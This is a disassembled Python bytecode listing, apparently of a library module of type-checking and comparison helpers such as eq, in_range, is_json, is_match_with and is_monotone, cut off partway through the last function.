LOAD_CONST ('SupportsDunderGE', 'SupportsDunderGT', 'SupportsDunderLE', 'SupportsDunderLT', 'SupportsRichComparison') IMPORT_NAME _typeshed IMPORT_FROM SupportsDunderGE STORE_NAME SupportsDunderGE IMPORT_FROM SupportsDunderGT STORE_NAME SupportsDunderGT IMPORT_FROM SupportsDunderLE STORE_NAME SupportsDunderLE IMPORT_FROM SupportsDunderLT STORE_NAME SupportsDunderLT IMPORT_FROM SupportsRichComparison STORE_NAME SupportsRichComparison POP_TOP LOAD_CONST ('eq', 'gt', 'gte', 'lt', 'lte', 'in_range', 'is_associative', 'is_blank', 'is_boolean', 'is_builtin', 'is_date', 'is_decreasing', 'is_dict', 'is_empty', 'is_equal', 'is_equal_with', 'is_error', 'is_even', 'is_float', 'is_function', 'is_increasing', 'is_indexed', 'is_instance_of', 'is_integer', 'is_iterable', 'is_json', 'is_list', 'is_match', 'is_match_with', 'is_monotone', 'is_nan', 'is_negative', 'is_none', 'is_number', 'is_object', 'is_odd', 'is_positive', 'is_reg_exp', 'is_set', 'is_strictly_decreasing', 'is_strictly_increasing', 'is_string', 'is_tuple', 'is_zero') STORE_NAME __all__ LOAD_NAME t LOAD_METHOD TypeVar LOAD_CONST 'T' CALL_METHOD STORE_NAME T LOAD_NAME t LOAD_METHOD TypeVar LOAD_CONST 'T2' CALL_METHOD STORE_NAME T2 LOAD_NAME t LOAD_METHOD TypeVar LOAD_CONST 'T3' CALL_METHOD STORE_NAME T3 LOAD_NAME type LOAD_NAME re LOAD_METHOD compile LOAD_CONST '' CALL_METHOD CALL_FUNCTION STORE_NAME RegExp LOAD_NAME t LOAD_ATTR Any LOAD_NAME t LOAD_ATTR Any LOAD_NAME bool LOAD_CONST ('value', 'other', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object eq at 0x7fab81f0bae0, file "f.py", line 87> LOAD_CONST 'eq' MAKE_FUNCTION STORE_NAME eq LOAD_CONST 'SupportsDunderGT[T]' LOAD_NAME T LOAD_NAME bool LOAD_CONST ('value', 'other', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object gt at 0x7fab81f0b660, file "f.py", line 114> LOAD_CONST 'gt' MAKE_FUNCTION STORE_NAME gt LOAD_CONST 'SupportsDunderGE[T]' LOAD_NAME T LOAD_NAME bool LOAD_CONST ('value', 'other', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object gte at 0x7fab81f0b030, file "f.py", line 139> LOAD_CONST 'gte' MAKE_FUNCTION STORE_NAME gte LOAD_CONST 'SupportsDunderLT[T]' LOAD_NAME T LOAD_NAME bool LOAD_CONST ('value', 'other', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object lt at 0x7fab81f0bed0, file "f.py", line 164> LOAD_CONST 'lt' MAKE_FUNCTION STORE_NAME lt LOAD_CONST 'SupportsDunderLE[T]' LOAD_NAME T LOAD_NAME bool LOAD_CONST ('value', 'other', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object lte at 0x7fab81f0b150, file "f.py", line 189> LOAD_CONST 'lte' MAKE_FUNCTION STORE_NAME lte LOAD_CONST (0, None) LOAD_NAME t LOAD_ATTR Any LOAD_NAME t LOAD_ATTR Any LOAD_NAME t LOAD_ATTR Any LOAD_NAME bool LOAD_CONST ('value', 'start', 'end', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object in_range at 0x7fab81f0bf60, file "f.py", line 214> LOAD_CONST 'in_range' MAKE_FUNCTION STORE_NAME in_range LOAD_NAME t LOAD_ATTR Any LOAD_NAME bool LOAD_CONST ('value', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object is_associative at 0x7fab81f0b0c0, file "f.py", line 260> LOAD_CONST 'is_associative' MAKE_FUNCTION STORE_NAME is_associative LOAD_NAME t LOAD_ATTR Any LOAD_NAME TypeGuard LOAD_NAME str BINARY_SUBSCR LOAD_CONST ('text', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object is_blank at 0x7fab81f0b8a0, file "f.py", line 286> LOAD_CONST 'is_blank' MAKE_FUNCTION STORE_NAME is_blank LOAD_NAME t LOAD_ATTR Any LOAD_NAME TypeGuard LOAD_NAME bool BINARY_SUBSCR LOAD_CONST ('value', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object is_boolean at 0x7fab81f0bb70, file "f.py", line 315> LOAD_CONST 'is_boolean' MAKE_FUNCTION STORE_NAME is_boolean LOAD_NAME t LOAD_ATTR Any LOAD_NAME bool LOAD_CONST ('value', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object is_builtin at 0x7fab81f0b4b0, file "f.py", line 345> LOAD_CONST 'is_builtin' MAKE_FUNCTION STORE_NAME is_builtin LOAD_NAME t LOAD_ATTR Any LOAD_NAME bool LOAD_CONST ('value', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object is_date at 0x7fab81f0b810, file "f.py", line 375> LOAD_CONST 'is_date' MAKE_FUNCTION STORE_NAME is_date LOAD_NAME t LOAD_ATTR Union LOAD_CONST 'SupportsRichComparison' LOAD_NAME t LOAD_ATTR List LOAD_CONST 'SupportsRichComparison' BINARY_SUBSCR BUILD_TUPLE BINARY_SUBSCR LOAD_NAME bool LOAD_CONST ('value', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object is_decreasing at 0x7fab81f0b6f0, file "f.py", line 403> LOAD_CONST 'is_decreasing' MAKE_FUNCTION STORE_NAME is_decreasing LOAD_NAME t LOAD_ATTR Any LOAD_NAME bool LOAD_CONST ('value', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object is_dict at 0x7fab81f0b1e0, file "f.py", line 429> LOAD_CONST 'is_dict' MAKE_FUNCTION STORE_NAME is_dict LOAD_NAME t LOAD_ATTR Any LOAD_NAME bool LOAD_CONST ('value', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object is_empty at 0x7fab81f0b930, file "f.py", line 457> LOAD_CONST 'is_empty' MAKE_FUNCTION STORE_NAME is_empty LOAD_NAME t LOAD_ATTR Any LOAD_NAME t LOAD_ATTR Any LOAD_NAME bool LOAD_CONST ('value', 'other', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object is_equal at 0x7fab81f0be40, file "f.py", line 490> LOAD_CONST 'is_equal' MAKE_FUNCTION STORE_NAME is_equal LOAD_NAME t LOAD_ATTR overload LOAD_NAME T LOAD_NAME T2 LOAD_NAME t LOAD_ATTR Callable LOAD_NAME T LOAD_NAME T2 BUILD_LIST LOAD_NAME T3 BUILD_TUPLE BINARY_SUBSCR LOAD_NAME T3 LOAD_CONST ('value', 'other', 'customizer', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object is_equal_with at 0x7fab81f0b270, file "f.py", line 517> LOAD_CONST 'is_equal_with' MAKE_FUNCTION CALL_FUNCTION STORE_NAME is_equal_with LOAD_NAME t LOAD_ATTR overload LOAD_NAME t LOAD_ATTR Any LOAD_NAME t LOAD_ATTR Any LOAD_NAME t LOAD_ATTR Callable LOAD_NAME bool LOAD_CONST ('value', 'other', 'customizer', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object is_equal_with at 0x7fab81f0bc90, file "f.py", line 522> LOAD_CONST 'is_equal_with' MAKE_FUNCTION CALL_FUNCTION STORE_NAME is_equal_with LOAD_NAME t LOAD_ATTR overload LOAD_NAME t LOAD_ATTR Any LOAD_NAME t LOAD_ATTR Any LOAD_CONST None LOAD_NAME bool LOAD_CONST ('value', 'other', 'customizer', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object is_equal_with at 0x7fab81f0bdb0, file "f.py", line 527> LOAD_CONST 'is_equal_with' MAKE_FUNCTION CALL_FUNCTION STORE_NAME is_equal_with LOAD_CONST <code object is_equal_with at 0x7fab81f0b390, file "f.py", line 532> LOAD_CONST 'is_equal_with' MAKE_FUNCTION STORE_NAME is_equal_with LOAD_NAME t LOAD_ATTR Any LOAD_NAME bool LOAD_CONST ('value', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object is_error at 0x7fab81f0bd20, file "f.py", line 583> LOAD_CONST 'is_error' MAKE_FUNCTION STORE_NAME is_error LOAD_NAME t LOAD_ATTR Any LOAD_NAME bool LOAD_CONST ('value', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object is_even at 0x7fab81f0b5d0, file "f.py", line 607> LOAD_CONST 'is_even' MAKE_FUNCTION STORE_NAME is_even LOAD_NAME t LOAD_ATTR Any LOAD_NAME TypeGuard LOAD_NAME float BINARY_SUBSCR LOAD_CONST ('value', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object is_float at 0x7fab81f0b540, file "f.py", line 631> LOAD_CONST 'is_float' MAKE_FUNCTION STORE_NAME is_float LOAD_NAME t LOAD_ATTR Any LOAD_NAME bool LOAD_CONST ('value', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object is_function at 0x7fab81f0ba50, file "f.py", line 653> LOAD_CONST 'is_function' MAKE_FUNCTION STORE_NAME is_function LOAD_NAME t LOAD_ATTR Union LOAD_CONST 'SupportsRichComparison' LOAD_NAME t LOAD_ATTR List LOAD_CONST 'SupportsRichComparison' BINARY_SUBSCR BUILD_TUPLE BINARY_SUBSCR LOAD_NAME bool LOAD_CONST ('value', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object is_increasing at 0x7fab81f0b780, file "f.py", line 677> LOAD_CONST 'is_increasing' MAKE_FUNCTION STORE_NAME is_increasing LOAD_NAME t LOAD_ATTR Any LOAD_NAME bool LOAD_CONST ('value', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object is_indexed at 0x7fab81f0b300, file "f.py", line 705> LOAD_CONST 'is_indexed' MAKE_FUNCTION STORE_NAME is_indexed LOAD_NAME t LOAD_ATTR Any LOAD_NAME t LOAD_ATTR Union LOAD_NAME type LOAD_NAME t LOAD_ATTR Tuple LOAD_NAME type LOAD_CONST Ellipsis BUILD_TUPLE BINARY_SUBSCR BUILD_TUPLE BINARY_SUBSCR LOAD_NAME bool LOAD_CONST ('value', 'types', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object is_instance_of at 0x7fab81f0b420, file "f.py", line 734> LOAD_CONST 'is_instance_of' MAKE_FUNCTION STORE_NAME is_instance_of LOAD_NAME t LOAD_ATTR Any LOAD_NAME TypeGuard LOAD_NAME int BINARY_SUBSCR LOAD_CONST ('value', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object is_integer at 0x7fab81f0bc00, file "f.py", line 758> LOAD_CONST 'is_integer' MAKE_FUNCTION STORE_NAME is_integer LOAD_NAME t LOAD_ATTR Any LOAD_NAME bool LOAD_CONST ('value', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object is_iterable at 0x7fab700ada50, file "f.py", line 788> LOAD_CONST 'is_iterable' MAKE_FUNCTION STORE_NAME is_iterable LOAD_NAME t LOAD_ATTR Any LOAD_NAME bool LOAD_CONST ('value', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object is_json at 0x7fab700ade40, file "f.py", line 821> LOAD_CONST 'is_json' MAKE_FUNCTION STORE_NAME is_json LOAD_NAME t LOAD_ATTR Any LOAD_NAME bool LOAD_CONST ('value', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object is_list at 0x7fab700ad270, file "f.py", line 851> LOAD_CONST 'is_list' MAKE_FUNCTION STORE_NAME is_list LOAD_NAME t LOAD_ATTR Any LOAD_NAME t LOAD_ATTR Any LOAD_NAME bool LOAD_CONST ('obj', 'source', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object is_match at 0x7fab700ad6f0, file "f.py", line 875> LOAD_CONST 'is_match' MAKE_FUNCTION STORE_NAME is_match LOAD_CONST None LOAD_NAME UNSET LOAD_NAME UNSET LOAD_NAME UNSET BUILD_TUPLE LOAD_NAME t LOAD_ATTR Any LOAD_NAME t LOAD_ATTR Any LOAD_NAME t LOAD_ATTR Any LOAD_NAME t LOAD_ATTR Any LOAD_NAME t LOAD_ATTR Any LOAD_NAME t LOAD_ATTR Any LOAD_NAME bool LOAD_CONST ('obj', 'source', 'customizer', '_key', '_obj', '_source', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object is_match_with at 0x7fab700ad5d0, file "f.py", line 909> LOAD_CONST 'is_match_with' MAKE_FUNCTION STORE_NAME is_match_with LOAD_NAME t LOAD_ATTR Union LOAD_NAME T LOAD_NAME t LOAD_ATTR List LOAD_NAME T BINARY_SUBSCR BUILD_TUPLE BINARY_SUBSCR LOAD_NAME t LOAD_ATTR Callable LOAD_NAME T LOAD_NAME T BUILD_LIST LOAD_NAME t LOAD_ATTR Any BUILD_TUPLE BINARY_SUBSCR LOAD_NAME bool LOAD_CONST ('value', 'op', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object is_monotone at 0x7fab700ad810, file "f.py", line 977> LOAD_CONST 'is_monotone' MAKE_FUNCTION STORE_NAME is_monotone LOAD_NAME t LOAD_ATTR Any LOAD_NAME bool LOAD_CONST ('value', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object is_nan at 0x7fab700adae0, file "f.py", line 1009> LOAD_CONST 'is_nan' MAKE_FUNCTION STORE_NAME is_nan LOAD_NAME t LOAD_ATTR Any LOAD_NAME bool LOAD_CONST ('value', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object is_negative at 0x7fab700adb70, file "f.py", line 1033> LOAD_CONST 'is_negative' MAKE_FUNCTION STORE_NAME is_negative LOAD_NAME t LOAD_ATTR Any LOAD_NAME TypeGuard LOAD_CONST None BINARY_SUBSCR LOAD_CONST ('value', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object is_none at 0x7fab700ad4b0, file "f.py", line 1057> LOAD_CONST 'is_none' MAKE_FUNCTION STORE_NAME is_none LOAD_NAME t LOAD_ATTR Any LOAD_NAME bool LOAD_CONST ('value', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object is_number at 0x7fab700ad150, file "f.py", line 1079> LOAD_CONST 'is_number' MAKE_FUNCTION STORE_NAME is_number LOAD_NAME t LOAD_ATTR Any LOAD_NAME bool LOAD_CONST ('value', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object is_object at 0x7fab700ad660, file "f.py", line 1113> LOAD_CONST 'is_object' MAKE_FUNCTION STORE_NAME is_object LOAD_NAME t LOAD_ATTR Any LOAD_NAME bool LOAD_CONST ('value', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object is_odd at 0x7fab700ad9c0, file "f.py", line 1139> LOAD_CONST 'is_odd' MAKE_FUNCTION STORE_NAME is_odd LOAD_NAME t LOAD_ATTR Any LOAD_NAME bool LOAD_CONST ('value', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object is_positive at 0x7fab700addb0, file "f.py", line 1163> LOAD_CONST 'is_positive' MAKE_FUNCTION STORE_NAME is_positive LOAD_NAME t LOAD_ATTR Any LOAD_NAME TypeGuard LOAD_NAME re LOAD_ATTR Pattern BINARY_SUBSCR LOAD_CONST ('value', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object is_reg_exp at 0x7fab700ad540, file "f.py", line 1187> LOAD_CONST 'is_reg_exp' MAKE_FUNCTION STORE_NAME is_reg_exp LOAD_NAME t LOAD_ATTR Any LOAD_NAME bool LOAD_CONST ('value', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object is_set at 0x7fab700ad0c0, file "f.py", line 1212> LOAD_CONST 'is_set' MAKE_FUNCTION STORE_NAME is_set LOAD_NAME t LOAD_ATTR Union LOAD_CONST 'SupportsRichComparison' LOAD_NAME t LOAD_ATTR List LOAD_CONST 'SupportsRichComparison' BINARY_SUBSCR BUILD_TUPLE BINARY_SUBSCR LOAD_NAME bool LOAD_CONST ('value', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object is_strictly_decreasing at 0x7fab700adc00, file "f.py", line 1234> LOAD_CONST 'is_strictly_decreasing' MAKE_FUNCTION STORE_NAME is_strictly_decreasing LOAD_NAME t LOAD_ATTR Union LOAD_CONST 'SupportsRichComparison' LOAD_NAME t LOAD_ATTR List LOAD_CONST 'SupportsRichComparison' BINARY_SUBSCR BUILD_TUPLE BINARY_SUBSCR LOAD_NAME bool LOAD_CONST ('value', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object is_strictly_increasing at 0x7fab700ad8a0, file "f.py", line 1258> LOAD_CONST 'is_strictly_increasing' MAKE_FUNCTION STORE_NAME is_strictly_increasing LOAD_NAME t LOAD_ATTR Any LOAD_NAME TypeGuard LOAD_NAME str BINARY_SUBSCR LOAD_CONST ('value', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object is_string at 0x7fab700aded0, file "f.py", line 1282> LOAD_CONST 'is_string' MAKE_FUNCTION STORE_NAME is_string LOAD_NAME t LOAD_ATTR Any LOAD_NAME bool LOAD_CONST ('value', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object is_tuple at 0x7fab700ad300, file "f.py", line 1304> LOAD_CONST 'is_tuple' MAKE_FUNCTION STORE_NAME is_tuple LOAD_NAME t LOAD_ATTR Any LOAD_NAME TypeGuard LOAD_NAME int BINARY_SUBSCR LOAD_CONST ('value', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object is_zero at 0x7fab700ad1e0, file "f.py", line 1328> LOAD_CONST 'is_zero' MAKE_FUNCTION STORE_NAME is_zero LOAD_CONST None RETURN_VALUE LOAD_FAST value LOAD_FAST other COMPARE_OP is RETURN_VALUE LOAD_FAST value LOAD_FAST other COMPARE_OP > RETURN_VALUE LOAD_FAST value LOAD_FAST other COMPARE_OP >= RETURN_VALUE LOAD_FAST value LOAD_FAST other COMPARE_OP < RETURN_VALUE LOAD_FAST value LOAD_FAST other COMPARE_OP <= RETURN_VALUE LOAD_GLOBAL is_number LOAD_FAST value CALL_FUNCTION POP_JUMP_IF_TRUE LOAD_CONST False RETURN_VALUE LOAD_GLOBAL is_number LOAD_FAST start CALL_FUNCTION POP_JUMP_IF_TRUE LOAD_CONST 0 STORE_FAST start LOAD_FAST end LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE LOAD_FAST start STORE_FAST end LOAD_CONST 0 STORE_FAST start JUMP_FORWARD to 54 LOAD_GLOBAL is_number LOAD_FAST end CALL_FUNCTION POP_JUMP_IF_TRUE LOAD_CONST 0 STORE_FAST end LOAD_FAST start LOAD_FAST value DUP_TOP ROT_THREE COMPARE_OP <= JUMP_IF_FALSE_OR_POP LOAD_FAST end COMPARE_OP < RETURN_VALUE ROT_TWO POP_TOP RETURN_VALUE LOAD_GLOBAL hasattr LOAD_FAST value LOAD_CONST '__getitem__' CALL_FUNCTION RETURN_VALUE SETUP_EXCEPT to 22 LOAD_GLOBAL bool LOAD_GLOBAL re LOAD_METHOD match LOAD_CONST '^(\\s+)?$' LOAD_FAST text CALL_METHOD CALL_FUNCTION STORE_FAST ret POP_BLOCK JUMP_FORWARD to 46 DUP_TOP LOAD_GLOBAL TypeError COMPARE_OP exception match POP_JUMP_IF_FALSE POP_TOP POP_TOP POP_TOP LOAD_CONST False STORE_FAST ret POP_EXCEPT JUMP_FORWARD to 46 END_FINALLY LOAD_FAST ret RETURN_VALUE LOAD_GLOBAL isinstance LOAD_FAST value LOAD_GLOBAL bool CALL_FUNCTION RETURN_VALUE SETUP_EXCEPT to 20 LOAD_GLOBAL isinstance LOAD_FAST value LOAD_GLOBAL BuiltinFunctionType CALL_FUNCTION JUMP_IF_TRUE_OR_POP LOAD_FAST value LOAD_GLOBAL BUILTINS COMPARE_OP in RETURN_VALUE DUP_TOP LOAD_GLOBAL TypeError COMPARE_OP exception match POP_JUMP_IF_FALSE POP_TOP POP_TOP POP_TOP LOAD_CONST False RETURN_VALUE END_FINALLY LOAD_CONST None RETURN_VALUE LOAD_GLOBAL isinstance LOAD_FAST value LOAD_GLOBAL datetime LOAD_ATTR date CALL_FUNCTION RETURN_VALUE LOAD_GLOBAL is_monotone LOAD_FAST value LOAD_GLOBAL operator LOAD_ATTR ge CALL_FUNCTION RETURN_VALUE LOAD_GLOBAL isinstance LOAD_FAST value LOAD_GLOBAL dict CALL_FUNCTION RETURN_VALUE LOAD_GLOBAL is_boolean LOAD_FAST value CALL_FUNCTION JUMP_IF_TRUE_OR_POP LOAD_GLOBAL is_number LOAD_FAST value CALL_FUNCTION JUMP_IF_TRUE_OR_POP LOAD_FAST value UNARY_NOT RETURN_VALUE LOAD_GLOBAL is_equal_with LOAD_FAST value LOAD_FAST other LOAD_CONST None LOAD_CONST ('customizer',) CALL_FUNCTION RETURN_VALUE LOAD_CONST None RETURN_VALUE LOAD_CONST None RETURN_VALUE LOAD_CONST None RETURN_VALUE LOAD_GLOBAL callable LOAD_FAST customizer CALL_FUNCTION POP_JUMP_IF_FALSE LOAD_FAST customizer LOAD_FAST value LOAD_FAST other CALL_FUNCTION JUMP_FORWARD to 20 LOAD_CONST None STORE_FAST equal LOAD_FAST equal LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE JUMP_FORWARD to 172 LOAD_GLOBAL callable LOAD_FAST customizer CALL_FUNCTION POP_JUMP_IF_FALSE LOAD_GLOBAL type LOAD_FAST value CALL_FUNCTION LOAD_GLOBAL type LOAD_FAST other CALL_FUNCTION COMPARE_OP is POP_JUMP_IF_FALSE LOAD_GLOBAL isinstance LOAD_FAST value LOAD_GLOBAL list LOAD_GLOBAL dict BUILD_TUPLE CALL_FUNCTION POP_JUMP_IF_FALSE LOAD_GLOBAL isinstance LOAD_FAST other LOAD_GLOBAL list LOAD_GLOBAL dict BUILD_TUPLE CALL_FUNCTION POP_JUMP_IF_FALSE LOAD_GLOBAL len LOAD_FAST value CALL_FUNCTION LOAD_GLOBAL len LOAD_FAST other CALL_FUNCTION COMPARE_OP == POP_JUMP_IF_FALSE SETUP_LOOP to 172 LOAD_GLOBAL iterator LOAD_FAST value CALL_FUNCTION GET_ITER FOR_ITER to 160 UNPACK_SEQUENCE STORE_FAST key STORE_FAST val LOAD_GLOBAL pyd LOAD_METHOD has LOAD_FAST other LOAD_FAST key CALL_METHOD POP_JUMP_IF_FALSE LOAD_GLOBAL is_equal_with LOAD_FAST val LOAD_FAST other LOAD_FAST key BINARY_SUBSCR LOAD_FAST customizer CALL_FUNCTION STORE_FAST equal JUMP_FORWARD to 152 LOAD_CONST False STORE_FAST equal LOAD_FAST equal POP_JUMP_IF_TRUE BREAK_LOOP JUMP_ABSOLUTE POP_BLOCK JUMP_FORWARD to 172 LOAD_FAST value LOAD_FAST other COMPARE_OP == STORE_FAST equal LOAD_FAST equal RETURN_VALUE LOAD_GLOBAL isinstance LOAD_FAST value LOAD_GLOBAL Exception CALL_FUNCTION RETURN_VALUE LOAD_GLOBAL is_number LOAD_FAST value CALL_FUNCTION JUMP_IF_FALSE_OR_POP LOAD_FAST value LOAD_CONST 2 BINARY_MODULO LOAD_CONST 0 COMPARE_OP == RETURN_VALUE LOAD_GLOBAL isinstance LOAD_FAST value LOAD_GLOBAL float CALL_FUNCTION RETURN_VALUE LOAD_GLOBAL callable LOAD_FAST value CALL_FUNCTION RETURN_VALUE LOAD_GLOBAL is_monotone LOAD_FAST value LOAD_GLOBAL operator LOAD_ATTR le CALL_FUNCTION RETURN_VALUE LOAD_GLOBAL isinstance LOAD_FAST value LOAD_GLOBAL list LOAD_GLOBAL tuple LOAD_GLOBAL str BUILD_TUPLE CALL_FUNCTION RETURN_VALUE LOAD_GLOBAL isinstance LOAD_FAST value LOAD_FAST types CALL_FUNCTION RETURN_VALUE LOAD_GLOBAL is_number LOAD_FAST value CALL_FUNCTION JUMP_IF_FALSE_OR_POP LOAD_GLOBAL isinstance LOAD_FAST value LOAD_GLOBAL int CALL_FUNCTION RETURN_VALUE SETUP_EXCEPT to 14 LOAD_GLOBAL iter LOAD_FAST value CALL_FUNCTION POP_TOP POP_BLOCK JUMP_FORWARD to 34 DUP_TOP LOAD_GLOBAL TypeError COMPARE_OP exception match POP_JUMP_IF_FALSE POP_TOP POP_TOP POP_TOP LOAD_CONST False RETURN_VALUE END_FINALLY LOAD_CONST True RETURN_VALUE LOAD_CONST None RETURN_VALUE SETUP_EXCEPT to 16 LOAD_GLOBAL json LOAD_METHOD loads LOAD_FAST value CALL_METHOD POP_TOP LOAD_CONST True RETURN_VALUE DUP_TOP LOAD_GLOBAL Exception COMPARE_OP exception match POP_JUMP_IF_FALSE POP_TOP POP_TOP POP_TOP LOAD_CONST False RETURN_VALUE END_FINALLY LOAD_CONST None RETURN_VALUE LOAD_GLOBAL isinstance LOAD_FAST value LOAD_GLOBAL list CALL_FUNCTION RETURN_VALUE LOAD_GLOBAL is_match_with LOAD_FAST obj LOAD_FAST source CALL_FUNCTION RETURN_VALUE LOAD_FAST _obj LOAD_GLOBAL UNSET COMPARE_OP is POP_JUMP_IF_FALSE LOAD_FAST obj STORE_FAST _obj LOAD_FAST _source LOAD_GLOBAL UNSET COMPARE_OP is POP_JUMP_IF_FALSE LOAD_FAST source STORE_FAST _source LOAD_GLOBAL callable LOAD_FAST customizer CALL_FUNCTION POP_JUMP_IF_TRUE LOAD_CONST <code object cbk at 0x7fab700adc90, file "f.py", line 950> LOAD_CONST 'is_match_with.<locals>.cbk' MAKE_FUNCTION STORE_FAST cbk LOAD_CONST 2 LOAD_FAST cbk STORE_ATTR _argcount JUMP_FORWARD to 52 LOAD_FAST customizer STORE_FAST cbk LOAD_GLOBAL isinstance LOAD_FAST source LOAD_GLOBAL Mapping LOAD_GLOBAL Iterable BUILD_TUPLE CALL_FUNCTION POP_JUMP_IF_FALSE LOAD_GLOBAL isinstance LOAD_FAST source LOAD_GLOBAL str CALL_FUNCTION POP_JUMP_IF_TRUE LOAD_FAST source UNARY_NOT STORE_FAST equal SETUP_LOOP to 190 LOAD_GLOBAL iterator LOAD_FAST source CALL_FUNCTION GET_ITER FOR_ITER to 168 UNPACK_SEQUENCE STORE_FAST key STORE_FAST value SETUP_EXCEPT to 136 LOAD_GLOBAL base_get LOAD_FAST obj LOAD_FAST key CALL_FUNCTION STORE_FAST obj_value LOAD_GLOBAL is_match_with LOAD_FAST obj_value LOAD_FAST value LOAD_FAST cbk LOAD_FAST key LOAD_FAST _obj LOAD_FAST _source LOAD_CONST ('_key', '_obj', '_source') CALL_FUNCTION STORE_FAST equal POP_BLOCK JUMP_FORWARD to 160 DUP_TOP LOAD_GLOBAL Exception COMPARE_OP exception match POP_JUMP_IF_FALSE POP_TOP POP_TOP POP_TOP LOAD_CONST False STORE_FAST equal POP_EXCEPT JUMP_FORWARD to 160 END_FINALLY LOAD_FAST equal POP_JUMP_IF_TRUE BREAK_LOOP JUMP_ABSOLUTE POP_BLOCK JUMP_FORWARD to 190 LOAD_GLOBAL callit LOAD_FAST cbk LOAD_FAST obj LOAD_FAST source LOAD_FAST _key LOAD_FAST _obj LOAD_FAST _source CALL_FUNCTION STORE_FAST equal LOAD_FAST equal RETURN_VALUE LOAD_FAST obj_value LOAD_FAST src_value COMPARE_OP == RETURN_VALUE LOAD_GLOBAL is_list LOAD_FAST value CALL_FUNCTION POP_JUMP_IF_TRUE LOAD_FAST value BUILD_LIST STORE_FAST l_value JUMP_FORWARD to 20 LOAD_FAST value STORE_FAST l_value LOAD_CLOSURE op BUILD_TUPLE LOAD_CONST <code object <genexpr> at 0x7fab700adf60, file "f.py", line 1003> LOAD_CONST 'is_monotone.<locals>.<genexpr>' MAKE_FUNCTION LOAD_GLOBAL zip LOAD_FAST l_value LOAD_GLOBAL islice LOAD_FAST l_value LOAD_CONST 1 LOAD_CONST None CALL_FUNCTION CALL_FUNCTION GET_ITER CALL_FUNCTION STORE_FAST search LOAD_GLOBAL next LOAD_FAST search LOAD_CONST True CALL_FUNCTION RETURN_VALUE LOAD_FAST .0 FOR_ITER to 28 UNPACK_SEQUENCE STORE_FAST x STORE_FAST y LOAD_DEREF op LOAD_FAST x LOAD_FAST y CALL_FUNCTION POP_JUMP_IF_TRUE LOAD_CONST False YIELD_VALUE POP_TOP JUMP_ABSOLUTE LOAD_CONST None RETURN_VALUE LOAD_GLOBAL is_number LOAD_FAST value CALL_FUNCTION UNARY_NOT RETURN_VALUE LOAD_GLOBAL is_number LOAD_FAST value CALL_FUNCTION JUMP_IF_FALSE_OR_POP LOAD_FAST value LOAD_CONST 0 COMPARE_OP < RETURN_VALUE LOAD_FAST value LOAD_CONST None COMPARE_OP is RETURN_VALUE LOAD_GLOBAL is_boolean LOAD_FAST value CALL_FUNCTION UNARY_NOT JUMP_IF_FALSE_OR_POP LOAD_GLOBAL isinstance LOAD_FAST value LOAD_GLOBAL NUMBER_TYPES CALL_FUNCTION RETURN_VALUE LOAD_GLOBAL isinstance LOAD_FAST value LOAD_GLOBAL list LOAD_GLOBAL dict BUILD_TUPLE CALL_FUNCTION RETURN_VALUE LOAD_GLOBAL is_number LOAD_FAST value CALL_FUNCTION JUMP_IF_FALSE_OR_POP LOAD_FAST value LOAD_CONST 2 BINARY_MODULO LOAD_CONST 0 COMPARE_OP != RETURN_VALUE LOAD_GLOBAL is_number LOAD_FAST value CALL_FUNCTION JUMP_IF_FALSE_OR_POP LOAD_FAST value LOAD_CONST 0 COMPARE_OP > RETURN_VALUE LOAD_GLOBAL isinstance LOAD_FAST value LOAD_GLOBAL RegExp CALL_FUNCTION RETURN_VALUE LOAD_GLOBAL isinstance LOAD_FAST value LOAD_GLOBAL set CALL_FUNCTION RETURN_VALUE LOAD_GLOBAL is_monotone LOAD_FAST value LOAD_GLOBAL operator LOAD_ATTR gt CALL_FUNCTION RETURN_VALUE LOAD_GLOBAL is_monotone LOAD_FAST value LOAD_GLOBAL operator LOAD_ATTR lt CALL_FUNCTION RETURN_VALUE LOAD_GLOBAL isinstance LOAD_FAST value 